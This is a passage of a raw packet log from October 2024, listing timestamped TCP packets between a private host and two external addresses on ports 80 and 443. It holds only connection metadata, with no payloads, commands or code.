Oct 30, 2024 11:45:45.147902012 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.147917032 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.147967100 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.148020029 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.214853048 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.214869022 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.214920044 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.214920044 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.214937925 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.214956999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.214961052 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.214973927 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.214984894 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.214991093 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215018988 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215035915 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215099096 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215115070 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215130091 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215150118 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215152979 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215173006 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215176105 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215176105 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215190887 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215193987 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215209007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215215921 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215225935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215229034 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215244055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215244055 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215269089 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215271950 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215284109 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215290070 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215305090 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215339899 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215341091 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215348959 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215358019 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215374947 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215379953 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215390921 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215393066 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215408087 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215408087 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215426922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215430021 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215445042 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215465069 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215470076 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215487003 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215502977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215513945 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215518951 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215539932 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215542078 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215557098 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215568066 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215573072 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215590000 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215617895 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215852022 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215948105 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215964079 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215980053 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215981007 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.215996981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.215998888 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216013908 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216026068 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216051102 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216106892 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216130018 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216145992 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216161013 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216164112 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216176987 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216181993 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216197014 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216201067 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216216087 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216229916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216232061 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216250896 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216254950 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216267109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216278076 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216284990 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216300964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216301918 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216310978 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216319084 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216331959 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216335058 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216350079 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216356993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216377020 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216500044 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216517925 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216533899 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216562986 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216617107 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216624022 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216634035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216650963 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216680050 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216710091 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216753006 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216767073 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216797113 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216798067 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216808081 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216815948 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216831923 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216844082 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216846943 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216866016 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216871023 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216886997 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216888905 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216902971 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216918945 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216922998 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216934919 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216943026 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216953039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216964960 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216978073 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.216993093 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.216995955 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.217014074 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.217020988 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.217036963 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.217042923 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.217052937 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.217066050 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.217072964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.217084885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.217096090 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.217097044 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.217116117 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.217116117 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.217128992 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.217133999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.217152119 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.217155933 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.217164040 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.217185020 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.217200041 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.217225075 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.217247009 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.220931053 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.220957041 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.220972061 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.220992088 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221005917 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221086979 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221101999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221117020 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221127987 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221143007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221154928 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221159935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221174955 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221180916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221190929 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221204996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221210003 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221229076 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221231937 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221249104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221251965 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221265078 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221275091 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221281052 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221291065 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221297026 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221306086 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221312046 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221324921 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221335888 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221339941 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221355915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221363068 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221369982 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221373081 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221389055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221389055 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221405029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221409082 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221424103 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221446037 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221470118 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221873999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221918106 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.221968889 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.221993923 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222008944 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222033978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222048044 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222048044 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222062111 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222064972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222078085 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222083092 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222100019 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222105980 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222122908 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222126007 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222146988 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222152948 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222163916 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222163916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222179890 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222203970 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222215891 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222228050 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222232103 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222250938 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222253084 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222260952 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222274065 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222290039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222290993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222304106 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222320080 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222345114 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222353935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222357035 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222368956 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222384930 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222399950 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222404003 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222415924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222430944 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222434998 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222448111 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222460032 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222486973 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222554922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222608089 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222635031 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222659111 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222678900 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222692966 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222757101 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222757101 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222794056 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222829103 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222843885 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.222860098 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222887039 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.222915888 CET	443	49988	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.223613024 CET	49988	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.223643064 CET	443	49988	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.224484921 CET	49988	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.224495888 CET	443	49988	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.265374899 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.265389919 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.265404940 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.265460968 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.266787052 CET	443	49989	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.267332077 CET	49989	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.267359972 CET	443	49989	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.267776012 CET	49989	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.267782927 CET	443	49989	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.330313921 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330383062 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330399036 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330419064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330441952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330454111 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330456972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330473900 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330492020 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330492973 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330509901 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330513954 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330532074 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330527067 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330552101 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330559015 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330571890 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330579042 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330590963 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330599070 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330607891 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330626011 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330642939 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330645084 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330660105 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330668926 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330674887 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330682993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330693007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330704927 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330713034 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330714941 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330728054 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330730915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330746889 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330753088 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330760002 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330764055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330780983 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330787897 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330801964 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330813885 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330828905 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330847025 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330853939 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330863953 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330873966 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330889940 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330903053 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330905914 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330924034 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330929041 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330940008 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330950022 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330957890 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330962896 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330974102 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.330984116 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330992937 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.330998898 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331013918 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331024885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331038952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331043959 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331053019 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331053972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331068993 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331085920 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331091881 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331111908 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.331115007 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.331130981 CET	80	49888	185.215.113.206	192.168.2.6
